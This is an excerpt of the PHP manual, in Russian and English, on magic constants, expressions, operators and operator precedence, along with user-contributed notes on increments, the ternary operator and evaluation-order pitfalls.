__CLASS__ | Имя класса. Это имя содержит название пространства имён, в котором класс был объявлен (например, Foo\Bar). При использовании в методах трейтов __CLASS__ является именем класса, в котором эти методы используется.
__TRAIT__ | Имя трейта. Это имя содержит название пространства имён, в котором трейт был объявлен (например, Foo\Bar).
__METHOD__ | Имя метода класса.
__NAMESPACE__ | Имя текущего пространства имён.
ClassName::class | Полное имя класса.

Смотрите также

  • ::class
  • get_class()
  • get_object_vars()
  • file_exists()
  • function_exists()

User Contributed Notes

Rich 03-Jul-2023 09:27
<?php

namespace My\App {
  class Api {
    public static fetch() {
      print __FUNCTION__ . "\n"; // outputs fetch
      print __METHOD__ . "\n"; // outputs My\App\Api::fetch
    }
  }

  Api::fetch();
}

namespace {
  My\App\Api::fetch();
}
?>

__METHOD__ outputs a fully qualified method name; __FUNCTION__ when used in a method, outputs just the method name.
chris at ocproducts dot com 11-May-2023 08:36
Note that __CLASS__ and __METHOD__ both reference the class the code is written in, not whatever the object class is. E.g. if you have an object of class B inheriting from class A, any usage of __CLASS__ in class A is going to give "A".
theking2 at king dot ma 11-Jul-2022 09:14
If PHP is run inside a web server request there is an important difference between the __DIR__ constant and $_SERVER['DOCUMENT_ROOT'].

Where __DIR__ of a PHP script contained within a sub-folder will include the complete server path $_SERVER['DOCUMENT_ROOT'] will contain a server path up to the _root_ of the application. This can be helpful when for instance an auto-loader is defined in an include file sitting inside a sub-folder and where the classes are located in another folder at the root of the application.
sham dot hrm at gmail dot com 14-Mar-2021 06:45
You can implement magic constants as given below example:

<?php
namespace UserModel {
    class User {
        public function __construct() {
            echo 'I am in '.__CLASS__.'</br>';
        }
        public function showData() {
            echo 'I am in '.__METHOD__.'</br>';
        }
    }

    $obj = new User;
    $obj->showData();
    echo __NAMESPACE__;
}
?>


Выражения

Выражения - это самые важные строительные элементы PHP. Почти всё, что вы пишете в PHP, является выражением. Самое простое и точное определение выражения - "все что угодно, имеющее значение".

Основными формами выражений являются константы и переменные. Если вы записываете $a = 5, вы присваиваете 5 переменной $a. 5, очевидно, имеет значение 5 или, другими словами, 5 - это выражение со значением 5 (в данном случае 5 - это целочисленная константа).

После этого присвоения вы ожидаете, что значением $a также является 5, поэтому, если вы написали $b = $a, вы полагаете, что работать это будет так же, как если бы вы написали $b = 5. Другими словами, $a это также выражение со значением 5. Если всё работает верно, то именно так и произойдёт.

Немного более сложными примерами выражений являются функции. Например, рассмотрим следующую функцию:

<?php
function foo ()
{
return 5;
}
?>

Исходя из того, что вы хорошо знакомы с концепцией функций (если нет, то прочитайте главу о функциях), вы полагаете, что запись $c = foo() абсолютно эквивалентна записи $c = 5, и вы правы. Функции - это выражения, значением которых является то, что возвращает функция. Поскольку foo() возвращает 5, значением выражения 'foo()' является 5. Как правило, функции возвращают не просто статическое значение, а что-то вычисляют.

Разумеется, значения в PHP не обязаны быть целочисленными, и очень часто ими не являются. PHP поддерживает четыре типа скалярных значений: целочисленные (int), с плавающей точкой (float), строковые значения (string) и булевы (bool) значения (скалярными являются значения, которые вы не можете 'разбить' на меньшие части, в отличие, например, от массивов). PHP поддерживает также два комбинированных (не скалярных) типа: массивы и объекты. Любое значение такого типа может присваиваться переменной или возвращаться функцией.

Однако PHP, как и многие другие языки, понимает гораздо больше выражений. PHP - это язык, ориентированный на выражения и рассматривающий почти все как выражение. Вернёмся к примеру, с которым мы уже имели дело: $a = 5. Легко заметить, что здесь присутствуют два значения - значение целочисленной константы 5 и значение переменной $a, также принимающей значение 5. Но на самом деле здесь присутствует и ещё одно значение - значение самого присвоения. Само присвоение вычисляется в присвоенное значение, в данном случае - в 5. На практике это означает, что $a = 5, независимо от того, что оно делает, является выражением со значением 5. Таким образом, запись $b = ($a = 5) равносильна записи $a = 5; $b = 5; (точка с запятой обозначает конец выражения). Поскольку операции присвоения анализируются справа налево, вы также можете написать $b = $a = 5.

Другой хороший пример ориентированности на выражения - префиксный и постфиксный инкремент и декремент. Пользователи PHP и многих других языков возможно уже знакомы с формой записи variable++ и variable--. Это операторы инкремента и декремента. Также как и C, PHP поддерживает два типа инкремента - префиксный и постфиксный. Они оба инкрементируют значение переменной и эффект их действия на неё одинаков. Разница состоит в значении выражения инкремента. Префиксный инкремент, записываемый как ++$variable, вычисляется в инкрементированное значение (PHP инкрементирует переменную до того как прочесть её значение, отсюда название 'пре-инкремент'). Постфиксный инкремент, записываемый как $variable++, вычисляется в первоначальное значение переменной $variable до её приращения (PHP инкрементирует переменную после прочтения её значения, отсюда название 'пост-инкремент').

Очень распространённым типом выражений являются выражения сравнения. Результатом вычислений являются false (ложь) или true (истина). PHP поддерживает операции сравнения > (больше), >= (больше либо равно), == (равно), != (не равно), < (меньше) и <= (меньше либо равно). Он также поддерживает операторы строгого равенства: === (равно и одного типа) и !== (не равно или не одного типа). Чаще всего эти выражения используются в операторах условного выполнения, таких как if.

Последний пример выражений, который мы здесь рассмотрим, это смешанные выражения операции и присвоения. Вы уже знаете, что если вы хотите увеличить $a на 1, вы можете просто написать $a++ или ++$a. Но что, если вы хотите прибавить больше, чем единицу, например, 3? Вы могли бы написать $a++ много раз, однако, очевидно это не очень рациональный и удобный способ. Гораздо более распространённой практикой является запись вида $a = $a + 3. $a + 3 вычисляется в значение $a плюс 3 и снова присваивается $a, увеличивая в результате $a на 3. В PHP, как и в некоторых других языках, таких как C, вы можете записать это более коротким образом, что увеличит очевидность смысла и быстроту понимания кода по прошествии времени. Прибавить 3 к текущему значению $a можно с помощью записи $a += 3. Это означает дословно "взять значение $a, прибавить к нему 3 и снова присвоить его переменной $a". Кроме большей понятности и краткости, это быстрее работает. Значением $a += 3, как и обычного присвоения, является присвоенное значение. Обратите внимание, что это НЕ 3, а суммированное значение $a плюс 3 (то, что было присвоено $a). Таким образом может использоваться любой бинарный оператор, например, $a -= 5 (вычесть 5 из значения $a), $b *= 7 (умножить значение $b на 7) и т.д.

Существует ещё одно выражение, которое может выглядеть необычно, если вы не встречали его в других языках - тернарный условный оператор:

<?php
$first ? $second : $third
?>

Если значением первого подвыражения является true (не ноль), то выполняется второе подвыражение, которое и будет результатом условного выражения. В противном случае будет выполнено третье подвыражение и его значение будет результатом.

Следующий пример должен помочь вам немного улучшить понимание префиксного и постфиксного инкремента и выражений:

<?php
function double($i)
{
return $i*2;
}
$b = $a = 5; /* присвоить значение пять переменным $a и $b */
$c = $a++; /* постфиксный инкремент, присвоить значение $a
(5) переменной $c */
$e = $d = ++$b; /* префиксный инкремент, присвоить увеличенное
значение $b (6) переменным $d и $e */

/* в этой точке и $d, и $e равны 6 */

$f = double($d++); /* присвоить удвоенное значение $d перед
инкрементом (2*6 = 12) переменной $f */
$g = double(++$e); /* присвоить удвоенное значение $e после
инкремента (2*7 = 14) переменной $g */
$h = $g += 10; /* сначала переменная $g увеличивается на 10,
приобретая, в итоге, значение 24. Затем значение
присвоения (24) присваивается переменной $h,
которая в итоге также становится равной 24. */
?>

Некоторые выражения могут рассматриваться как инструкции. В данном случае инструкция имеет вид 'expr ;' - выражение с последующей точкой с запятой. В записи $b = $a = 5;, $a = 5 - это верное выражение, но само по себе не инструкция. Тогда как $b = $a = 5; является верной инструкцией.

Последнее, что стоит упомянуть, это истинность значения выражений. Во многих случаях, как правило, в условных операторах и циклах, вас может интересовать не конкретное значение выражения, а только его истинность (значение true или false). Константы true и false (регистронезависимые) - это два возможных булевых значения. При необходимости выражение автоматически преобразуется в булев тип. Подробнее о том, как это происходит, смотрите в разделе о приведении типов.

PHP предоставляет полную и мощную реализацию выражений, и их полное документирование выходит за рамки этого руководства. Вышеприведённые примеры должны дать вам представление о том, что они из себя представляют и как вы сами можете создавать полезные выражения. Далее, для обозначения любого верного выражения PHP в этой документации мы будем использовать сокращение expr.

User Contributed Notes

Bichis Paul 12-Jan-2017 03:10
Regarding 12345alex at gmx dot net's example:

I think you miss the identical equal documentation line from: http://php.net/manual/en/language.operators.comparison.php

$a == $b     Equal     TRUE if $a is equal to $b after type juggling.
$a === $b     Identical     TRUE if $a is equal to $b, and they are of the same type.

Try:
print array() === NULL ? "True" : "False";

Check this:
var_dump(is_null(array()));
chriswarbo at gmail dot com 12-Jul-2013 11:06
Note that there is a difference between a function and a function call, and both
are expressions. PHP has two kinds of function, "named functions" and "anonymous
functions". Here's an example with both:

<?php
// A named function. Its name is "double".
function double($x) {
  return 2 * $x;
}

// An anonymous function. It has no name, in the same way that the string
// "hello" has no name. Since it is an expression, we can give it a temporary
// name by assigning it to the variable $triple.
$triple = function($x) {
  return 3 * $x;
};
?>

We can "call" (or "run") both kinds of function. A "function call" is an
expression with the value of whatever the function returns. For example:

<?php
// The easiest way to run a function is to put () after its name, containing its
// arguments (if any)
$my_numbers = array(double(5), $triple(5));
?>

$my_numbers is now an array containing 10 and 15, which are the return values of
double and $triple when applied to the number 5.

Importantly, if we *don't* call a function, ie. we don't put () after its name,
then we still get expressions. For example:

<?php
$my_functions = array('double', $triple);
?>

$my_functions is now an array containing these two functions. Notice that named
functions are more awkward than anonymous functions. PHP treats them differently
because it didn't use to have anonymous functions, and the way named functions
were implemented didn't work for anonymous functions when they were eventually
added.

This means that instead of using a named function literally, like we can with
anonymous functions, we have to use a string containing its name instead. PHP
makes sure that these strings will be treated as functions when it's
appropriate. For example:

<?php
$temp      = 'double';
$my_number = $temp(5);
?>

$my_number will be 10, since PHP has spotted that we're treating a string as if
it were a function, so it has looked up that named function for us.

Unfortunately PHP's parser is very quirky; rather than looking for generic
patterns like "x(y)" and seeing if "x" is a function, it has lots of
special-cases like "$x(y)". This makes code like "'double'(5)" invalid, so we
have to do tricks like using temporary variables. There is another way around
this restriction though, and that is to pass our functions to the
"call_user_func" or "call_user_func_array" functions when we want to call them.
For example:

<?php
$my_numbers = array(call_user_func('double', 5), call_user_func($triple, 5));
?>

$my_numbers contains 10 and 15 because "call_user_func" called our functions for
us. This is possible because the string 'double' and the anonymous function
$triple are expressions. Note that we can even use this technique to call an
anonymous function without ever giving it a name:

<?php
$my_number = call_user_func(function($x) { return 4 * $x; }, 5);
?>

$my_number is now 20, since "call_user_func" called the anonymous function,
which quadruples its argument, with the value 5.

Passing functions around as expressions like this is very useful whenever we
need to use a 'callback'. Great examples of this are array_map and array_reduce.
antickon at gmail dot com 26-Feb-2012 07:29
evaluation order of subexpressions is not strictly defined for all operators

<?php
function a() {echo 'a';}
function b() {echo 'b';}
a() == b(); // outputs "ab", ie evaluates left-to-right

$a = 3;
var_dump( $a == $a = 4 ); // outputs bool(true), ie evaluates right-to-left
?>

this is not a bug: "we [php developers] make no guarantee about the order of evaluation".
See https://bugs.php.net/bug.php?id=61188
Magnus Deininger, dma05 at web dot de 16-Apr-2009 08:04
Note that even though PHP borrows large portions of its syntax from C, the ',' is treated quite differently. It's not possible to create combined expressions in PHP using the comma-operator that C has, except in for() loops.

Example (parse error):

<?php

$a = 2, $b = 4;

echo $a."\n";
echo $b."\n";

?>

Example (works):
<?php

for ($a = 2, $b = 4; $a < 3; $a++)
{
  echo $a."\n";
  echo $b."\n";
}

?>

This is because PHP doesn't actually have a proper comma-operator, it's only supported as syntactic sugar in for() loop headers. In C, it would have been perfectly legitimate to have this:

int f()
{
  int a, b;
  a = 2, b = 4;

  return a;
}

or even this:

int g()
{
  int a, b;
  a = (2, b = 4);

  return a;
}

In f(), a would have been set to 2, and b would have been set to 4.
In g(), (2, b = 4) would be a single expression which evaluates to 4, so both a and b would have been set to 4.
denzoo at gmail dot com 16-Mar-2008 04:52
To jvm at jvmyers dot com:
Your first two if statements just check if there's anything in the string, if you wish to actually execute the code in your string you need eval().
jvm at jvmyers dot com 24-Feb-2008 12:20
<?php
// Compound booleans expressed as string args in an 'if' statement don't work as expected:
//
//    Context:
//        1.  I generate an array of counters
//        2.  I dynamically generate a compound boolean based on selected counters in the array
//                Note: since the real array is sparse, I must use the 'empty' operator
//        3.  When I submit the compound boolean as the expression of an 'if' statement,
//            the 'if' appears to resolve ONLY the first element of the compound boolean.
//    Conclusion: appears to be a short-circuiting issue

$aArray = array(1,0);

// Case 1: 'if' expression passed as string:

$sCondition = "!empty($aArray[0]) && !empty($aArray[1])";
if ($sCondition)
{
    echo "1. Conditions met<br />";
}
else
{
    echo "1. Conditions not met<br />";
}

// Case 1 output:  "1. Conditions met"

// Case 2: same as Case 1, but using catenation operator

if ("".$sCondition."")
{
    echo "2. Conditions met<br />";
}
else
{
    echo "2. Conditions not met<br />";
}

// Case 2 output:  "2. Conditions met"

// Case 3: same 'if' expression but passed in context:

if (!empty($aArray[0]) && !empty($aArray[1]))
{
    echo "3. Conditions met<br />";
}
else
{
    echo "3. Conditions not met<br />";
}

// Case 3 output:  "3. Conditions not met"

// jvm@jvmyers.com
?>

PS: the bug folks say this "does not imply a bug in PHP itself."  Sure bugs me!
petruzanauticoyahoo?com!ar 20-Oct-2007 08:41
Regarding the ternary operator, I would rather say that the best option is to enclose all the expression in parantheses, to avoid errors and improve clarity:

<?php
   print ( $a > 1 ? "many" : "just one" );
?>

PS: for php, C++, and any other language that has it.
winks716 23-Aug-2007 01:42
reply to egonfreeman at gmail dot com
04-Apr-2007 07:45

the second example u mentioned as follow:
=====================================

$n = 3;
$n * $n++

from 3 * 3 into 3 * 4. Post- operations operate on a variable after it has been 'checked', but it doesn't necessarily state that it should happen AFTER an evaluation is over (on the contrary, as a matter of fact).

===========================================

everything works correctly but one sentence should be modified:

"from 3 * 3 into 3 * 4"  should be "from 3 * 3 into 4 * 3"

best regards~ :)
george dot langley at shaw dot ca 20-Jul-2007 11:01
Here's a quick example of Pre and Post-incrementation, in case anyone does feel confused (ref anonymous poster 31 May 2005)

<?PHP
echo "Using Pre-increment ++\$a:<br>";
$a = 1;
echo "\$a = $a<br>";
$b = ++$a;
echo "\$b = ++\$a, so \$b = $b and \$a = $a<br>";
echo "<br>";
echo "Using Post-increment \$a++:<br>";
$a = 1;
echo "\$a = $a<br>";
$b = $a++;
echo "\$b = \$a++, so \$b = $b and \$a = $a<br>";
?>

HTH
egonfreeman at gmail dot com 04-Apr-2007 07:45
It is worthy to mention that:

$n = 3;
$n * --$n

WILL RETURN 4 instead of 6.

It can be a hard to spot "error", because in our human thought process this really isn't an error at all! But you have to remember that PHP (as it is with many other high-level languages) evaluates its statements RIGHT-TO-LEFT, and therefore "--$n" comes BEFORE multiplying, so - in the end - it's really "2 * 2", not "3 * 2".

It is also worthy to mention that the same behavior will change:

$n = 3;
$n * $n++

from 3 * 3 into 3 * 4. Post- operations operate on a variable after it has been 'checked', but it doesn't necessarily state that it should happen AFTER an evaluation is over (on the contrary, as a matter of fact).

So, if you ever find yourself on a 'wild goose chase' for a bug in that "impossible-to-break, so-very-simple" piece of code that uses pre-/post-'s, remember this post. :)

(just thought I'd check it out - turns out I was right :P)
shawnster 14-Feb-2007 04:56
An easy fix (although intuitively tough to do...) is to reverse the comparison.

if (5 == $a) {}

If you forget the second '=', you'll get a parse error for trying to assign a value to a non-variable.
nabil_kadimi at hotmail dot com 29-Jan-2007 07:46
Attention! php will not warn you if you write (1) When you mean (2)

(1)
<?
if($a=0)
    echo "condition is true";
else
    echo "condition is false";
//output: condition is false
?>

(2)
<?
if($a==0)
    echo "condition is true";
else
    echo "condition is false";
//output: condition is true
?>
richard at phase4 dot ie 19-Jan-2006 12:00
Follow up on Martin K. There are no hard and fast rules regarding operator precedence. Newbies should definitely learn them, but if their use results in code that is not easy to read you should use parentheses. The two important things are that it works properly AND is maintainable by you and others.
Martin K 20-Oct-2005 06:28
At 04-Feb-2005 05:13, tom at darlingpet dot com said:
> It's also a good idea to use parenthesis when using something SIMILAR to:
>
> <?php
> echo (trim($var)=="") ? "empty" : "not empty";
> ?>

No, it's a BAD idea.

All the short-circuiting operators, including the ternary conditional operator, have LOWER precedence than the comparison operators, so they almost NEVER need parentheses around their subexpressions.

Inserting the parentheses suggested above does not change the meaning of the code, but their use misleads inexperienced programmers to expect that things like this will work in a similar manner:

<?php
function my_print($a) { print($a); }
my_print (trim($var)=="") ? "empty" : "not empty";
?>

when of course it doesn't.

Rather than worrying that code doesn't work as expected, simply learn the precedence rules (http://www.php.net/manual/en/language.operators.php) so that one expects the right things.
12345alex at gmx dot net 14-Aug-2005 07:00
this code:
    print array() == NULL ? "True" : "False";
    print " (" . (array() == NULL) . ")\n";

    $arr = array();
    print array() == $arr ? "True" : "False";
    print " (" . (array() == $arr) . ")\n";

    print count(array()) . "\n";
    print count(NULL) . "\n";

will output (on php4 and php5):
    True (1)
    True (1)
    0
    0

so to decide wether i have NULL or an empty array i will also have to use gettype(). this seems some kind of weird for me, although if is this is a bug, somebody should have noticed it before.

alex
31-May-2005 12:07
I don't see why it is necessary here to explain pre- and post- incrementing.

This is something that will confuse new users of PHP, even longer time programmers will sometimes miss a the fine details of a construct like that.

If something has a side-effect it should be on a line of it's own, or at least be an expression of it's own and not part of an assignment, condition or whatever.
tom at darlingpet dot com 04-Feb-2005 02:13
Something I've noticed with ternary expressions is if you do something like :

<?= $var=="something" ? "is something" : "not something"; ?>

It will give wacky results sometimes...

So be sure to enclose the ternary expression in parenthesis when ever necessary (such as having multiple expressions or nested ternary expressions)

The above could look like:

<?= ($var=="something") ? "is something" : "not something"; ?>

It's also a good idea to use parenthesis when using something SIMILAR to:

<?php
echo (trim($var)=="") ? "empty" : "not empty";
?>

In some cases other than the <?= ?> example, not placing the entire expression in appropriate parenthesis might yield undesirable results as well.. but I'm not quite sure.
oliver at hankeln-online dot de 07-Aug-2002 06:06
The short-circuiting IS a feature. It is also available in C, so I suppose the developers won?t remove it in future PHP versions.

It is rather nice to write:

$file=fopen("foo","r") or die("Error!");

Greets,
Oliver
Mattias at mail dot ee 25-May-2002 03:29
A note about the short-circuit behaviour of the boolean operators.

1. if (func1() || func2())
Now, if func1() returns true, func2() isn't run, since the expression
will be true anyway.

2. if (func1() && func2())
Now, if func1() returns false, func2() isn't run, since the expression
will be false anyway.

The reason for this behaviour comes probably from the programming
language C, on which PHP seems to be based on. There the
short-circuiting can be a very useful tool. For example:

int * myarray = a_func_to_set_myarray(); // init the array
if (myarray != NULL && myarray[0] != 4321) // check
    myarray[0] = 1234;

Now, the pointer myarray is checked for being not null, then the
contents of the array is validated. This is important, because if
you try to access an array whose address is invalid, the program
will crash and die a horrible death. But thanks to the short
circuiting, if myarray == NULL then myarray[0] won't be accessed,
and the program will work fine.
yasuo_ohgaki at hotmail dot com 11-Mar-2001 11:14
Manual defines "expression is anything that has value", Therefore, parser will give error for following code.

<?php
($val) ? echo('true') : echo('false');
Note: "? : " operator has this syntax  "expr ? expr : expr;"
?>

since echo does not have(return) value and ?: expects expression(value).

However, if function/language constructs that have/return value, such as include(), parser compiles code.

Note: User defined functions always have/return value without explicit return statement (returns NULL if there is no return statement). Therefore, user defined functions are always valid expressions.
[It may be useful to have VOID as new type to prevent programmer to use function as RVALUE by mistake]

For example,

<?php
($val) ? include('true.inc') : include('false.inc');
?>

is valid, since "include" returns value.

The fact "echo" does not return value(="echo" is not a expression), is less obvious to me.

Print() and Echo() is NOT identical since print() has/returns value and can be a valid expression.
anthony at n dot o dot s dot p dot a dot m dot trams dot com 24-Nov-2000 11:01
The ternary conditional operator is a useful way of avoiding inconvenient if statements.  They can even be used in the middle of a string concatenation, if you use parentheses.

Example:

if ( $wakka ) {
  $string = 'foo' ;
} else {
  $string = 'bar' ;
}

The above can be expressed like the following:

$string = $wakka ? 'foo' : 'bar' ;

If $wakka is true, $string is assigned 'foo', and if it's false, $string is assigned 'bar'.

To do the same in a concatenation, try:

$string = $otherString . ( $wakka ? 'foo' : 'bar' ) ;


Операторы

Содержание

  • Operator Precedence
  • Arithmetic Operators
  • Incrementing/Decrementing Operators
  • Assignment Operators
  • Bitwise Operators
  • Comparison Operators
  • Error Control Operators
  • Execution Operators
  • Logical Operators
  • String Operators
  • Array Operators
  • Type Operators

Оператором называется нечто, принимающее одно или более значений (или выражений, если говорить на жаргоне программирования), и вычисляющее новое значение (таким образом, вся конструкция может рассматриваться как выражение).

Операторы можно сгруппировать по количеству принимаемых ими значений. Унарные операторы принимают только одно значение, например, ! (оператор логического отрицания) или ++ (инкремент). Бинарные операторы принимают два значения; это, например, знакомые всем арифметические операторы + (плюс) и - (минус), большинство поддерживаемых в PHP операторов входят именно в эту категорию. Ну и, наконец, есть всего один тернарный оператор, ? :, принимающий три значения, обычно его так и называют -- "тернарный оператор" (хотя, возможно, более точным названием было бы "условный оператор").

Полный список PHP-операторов вы можете найти в разделе "Порядок выполнения операторов". В этом разделе также описан порядок выполнения операторов и их ассоциативность, которые точно определяют, как вычисляются выражения с несколькими разными операторами.

User Contributed Notes

anisgazig at gmail dot com 07-Feb-2021 03:15
A variable is a container that contain different types of data and the operator operates a variable correctly.
anisgazig at gmail dot com 16-Sep-2020 05:49
Operator are used to perform operation.

Operator are mainly divided by three groups.
1.Uniary Operators that takes one values
2.Binary Operators that takes two values
3.ternary operators that takes three values

Operator are mainly divided by three groups that are totally seventeen types.
1.Arithmetic Operator
+ = Addition
- = Subtraction
* = Multiplication
/ = Division
% = Modulo
** = Exponentiation

2.Assignment Operator
     = "equal to

3.Array Operator
    + = Union
    == = Equality
    === = Identity
    != = Inequality
    <> = Inequality
    !== =    Non-identity

4.Bitwise Operator
& = and
^ = xor
| = not
<< = shift left
>> = shift right

5.Comparison Operator
==  = equal
=== = identical
!=  = not equal
!== = not identical
<>  = not equal
< = less than
<= less than or equal
> = greater than
>= = greater than or equal
<=> = spaceship operator

6.Execution Operator
 `` = backticks

7.Error Control Operator
    @ = at sign

8.Incrementing/Decrementing Operator
    ++$a = PreIncrement
    $a++ = PostIncrement
    --$a = PreDecrement
    $a-- = Postdecrement

9.Logical Operator
    && = And
    || = Or
    ! = Not
    and = And
    xor = Xor
    or = Or

10.string Operator
    . =  concatenation operator
    .= concatenating assignment operator

11.Type Operator
    instanceof = instanceof

12.Ternary or Conditional operator
   ?: = Ternary operator

13.Null Coalescing Operator
    ??" = null coalescing

14.Clone new Operator
    clone new = clone new

15.yield from Operator

    yield from = yield from

16.yield Operator
    yield = yield

17.print Operator
    print = print
ivijan dot stefan at gmail dot com 13-Jul-2019 08:55
If you use "AND" and "OR", you'll eventually get tripped up by something like this:

<?php
$this_one = true;
$that = false;
$truthiness = $this_one and $that;
?>

Want to guess what $truthiness equals?

If you said "false"  ...it's wrong!

"$truthiness" above has the value "true". Why?  "=" has a higher precedence than "and". The addition of parentheses to show the implicit order makes this clearer:

<?php
($truthiness = $this_one) and $that;
?>

If you used "&&" instead of and in the first code example, it would work as expected and be "false".

This also works to get the correct value, as parentheses have higher precedence than "=":

<?php
$truthiness = ($this_one and $that);
?>
figroc at gmail dot com 02-Aug-2008 03:30
The variable symbol '$' should be considered as the highest-precedence operator, so that the variable variables such as $$a[0] won't confuse the parser.  [http://www.php.net/manual/en/language.variables.variable.php]
phpnet dot 20 dot dpnsubs at xoxy dot net 01-Nov-2007 02:13
Note that in php the ternary operator ?: has a left associativity unlike in C and C++ where it has right associativity.

You cannot write code like this (as you may have accustomed to in C/C++):

<?php
$a = 2;
echo (
    $a == 1 ? 'one' :
    $a == 2 ? 'two' :
    $a == 3 ? 'three' :
    $a == 4 ? 'four' : 'other');
echo "\n";
// prints 'four'
?>

You need to add brackets to get the results you want:

<?php
$a = 2;

echo ($a == 1 ? 'one' :
        ($a == 2 ? 'two' :
        ($a == 3 ? 'three' :
        ($a == 4 ? 'four' : 'other') ) ) );
echo "\n";
//prints 'two'
?>
me at robrosenbaum dot com 12-Jul-2007 12:16
The scope resolution operator ::, which is missing from the list above, has higher precedence than [], and lower precedence than 'new'. This means that self::$array[$var] works as expected.
rick at nomorespam dot fourfront dot ltd dot uk 02-Sep-2005 03:51
A quick note to any C developers out there, assignment expressions are not interpreted as you may expect - take the following code ;-

<?php
$a=array(1,2,3);
$b=array(4,5,6);
$c=1;

$a[$c++]=$b[$c++];

print_r( $a ) ;
?>

This will output;-
Array ( [0] => 1 [1] => 6 [2] => 3 )
as if the code said;-
$a[1]=$b[2];

Under a C compiler the result is;-
Array ( [0] => 1 [1] => 5 [2] => 3 )
as if the code said;-
$a[1]=$b[1];

It would appear that in php the increment in the left side of the assignment is processed prior to processing the right side of the assignment, whereas in C, neither increment occurs until after the assignment.
09-Jun-2004 05:58
of course this should be clear, but i think it has to be mentioned espacially:

AND is not the same like &&

for example:

<?php $a && $b || $c; ?>
is not the same like
<?php $a AND $b || $c; ?>

the first thing is
(a and b) or c

the second
a and (b or c)

'cause || has got a higher priority than and, but less than &&

of course, using always [ && and || ] or [ AND and OR ] would be okay, but than you should at least respect the following:

<?php $a = $b && $c; ?>
<?php $a = $b AND $c; ?>

the first code will set $a to the result of the comparison $b with $c, both have to be true, while the second code line will set $a like $b and THAN - after that - compare the success of this with the value of $c

maybe usefull for some tricky coding and helpfull to prevent bugs :D

greetz, Warhog
yasuo_ohgaki at hotmail dot com 25-Mar-2001 11:53
Other Language books' operator precedence section usually include "(" and ")" - with exception of a Perl book that I have. (In PHP "{" and "}" should also be considered also). However, PHP Manual is not listed "(" and ")" in precedence list. It looks like "(" and ")" has higher precedence as it should be.

Note: If you write following code, you would need "()" to get expected value.

<?php
$bar = true;
$str = "TEST". ($bar ? 'true' : 'false') ."TEST";
?>

Without "(" and ")" you will get only "true" in $str.
(PHP4.0.4pl1/Apache DSO/Linux, PHP4.0.5RC1/Apache DSO/W2K Server)
It's due to precedence, probably.


Operator Precedence

The precedence of an operator specifies how "tightly" it binds two expressions together. For example, in the expression 1 + 5 * 3, the answer is 16 and not 18 because the multiplication ("*") operator has a higher precedence than the addition ("+") operator. Parentheses may be used to force precedence, if necessary. For instance: (1 + 5) * 3 evaluates to 18.

When operators have equal precedence their associativity decides how the operators are grouped. For example "-" is left-associative, so 1 - 2 - 3 is grouped as (1 - 2) - 3 and evaluates to -4. "=" on the other hand is right-associative, so $a = $b = $c is grouped as $a = ($b = $c).

Operators of equal precedence that are non-associative cannot be used next to each other, for example 1 < 2 > 1 is illegal in PHP. The expression 1 <= 1 == 1 on the other hand is legal, because the == operator has a lower precedence than the <= operator.

Associativity is only meaningful for binary (and ternary) operators. Unary operators are either prefix or postfix so this notion is not applicable. For example !!$a can only be grouped as !(!$a).

Use of parentheses, even when not strictly necessary, can often increase readability of the code by making grouping explicit rather than relying on the implicit operator precedence and associativity.

The following table lists the operators in order of precedence, with the highest-precedence ones at the top. Operators on the same line have equal precedence, in which case associativity decides grouping.

Operator Precedence
Associativity | Operators | Additional Information
(n/a) | clone new | clone and new
right | ** | arithmetic
(n/a) | + - ++ -- ~ (int) (float) (string) (array) (object) (bool) @ | arithmetic (unary + and -), increment/decrement, bitwise, type casting и error control
left | instanceof | type
(n/a) | ! | logical
left | * / % | arithmetic
left | + - . | arithmetic (binary + and -), array и string (. prior to PHP 8.0.0)
left | << >> | bitwise
left | . | string (as of PHP 8.0.0)
non-associative | < <= > >= | comparison
non-associative | == != === !== <> <=> | comparison
left | & | bitwise и references
left | ^ | bitwise
left | | | bitwise
left | && | logical
left | || | logical
right | ?? | null coalescing
non-associative | ? : | ternary (left-associative prior to PHP 8.0.0)
right | = += -= *= **= /= .= %= &= |= ^= <<= >>= ??= | assignment
(n/a) | yield from | yield from
(n/a) | yield | yield
(n/a) | print | print
left | and | logical
left | xor | logical
left | or | logical

Пример #1 Associativity

<?php
$a = 3 * 3 % 5; // (3 * 3) % 5 = 4
// ternary operator associativity differs from C/C++
$a = true ? 0 : true ? 1 : 2; // (true ? 0 : true) ? 1 : 2 = 2 (prior to PHP 8.0.0)

$a = 1;
$b = 2;
$a = $b += 3; // $a = ($b += 3) -> $a = 5, $b = 5
?>

Operator precedence and associativity only determine how expressions are grouped, they do not specify an order of evaluation. PHP does not (in the general case) specify in which order an expression is evaluated and code that assumes a specific order of evaluation should be avoided, because the behavior can change between versions of PHP or depending on the surrounding code.

Пример #2 Undefined order of evaluation

<?php
$a = 1;
echo $a + $a++; // may print either 2 or 3

$i = 1;
$array[$i] = $i++; // may set either index 1 or 2
?>

Пример #3 +, - and . have the same precedence (prior to PHP 8.0.0)

<?php
$x = 4;
// this line might result in unexpected output:
echo "x minus one equals " . $x-1 . ", or so I hope\n";
// because it is evaluated like this line (prior to PHP 8.0.0):
echo (("x minus one equals " . $x) - 1) . ", or so I hope\n";
// the desired precedence can be enforced by using parentheses:
echo "x minus one equals " . ($x-1) . ", or so I hope\n";
?>

Результат выполнения данного примера:

-1, or so I hope
-1, or so I hope
x minus one equals 3, or so I hope

Замечание:

Although = has a lower precedence than most other operators, PHP will still allow expressions similar to the following: if (!$a = foo()), in which case the return value of foo() is put into $a.

Список изменений

Версия | Описание
8.0.0 | String concatenation (.) now has a lower precedence than arithmetic addition/subtraction (+ and -) and bitwise shift left/right (<< and >>); previously it had the same precedence as + and - and a higher precedence than << and >>.
8.0.0 | The ternary operator (? :) is non-associative now; previously it was left-associative.
7.4.0 | Relying on the precedence of string concatenation (.) relative to arithmetic addition/subtraction (+ or -) or bitwise shift left/right (<< or >>), i.e. using them together in an unparenthesized expression, is deprecated.
7.4.0 | Relying on left-associativity of the ternary operator (? :), i.e. nesting multiple unparenthesized ternary operators, is deprecated.

User Contributed Notes

rvwoens at gmail dot com 31-Jan-2023 12:11
Note that ?? has a low priority, so this can lead to unexpected results:

$a=[];
$a['aa']??'not set'
--> not set (as expected)

but
"lets see if it is set".$a['aa']??'not set'
--> notice; undefined index aa
--> lets see if it is set

so you need to use parenthesis
"lets see if it is set".($a['aa']??'not set')
sangala at seznam dot cz 01-Nov-2022 08:42
Using cast and ternary operator can be unclear,
(Useful to know with: declare(strict_types = 1) ).
<?php
$num_str="5";

$i1 = (int)  isset($num_str) ? $num_str : 0;
$i2 = (int) (isset($num_str) ? $num_str : 0);
var_dump($i1);
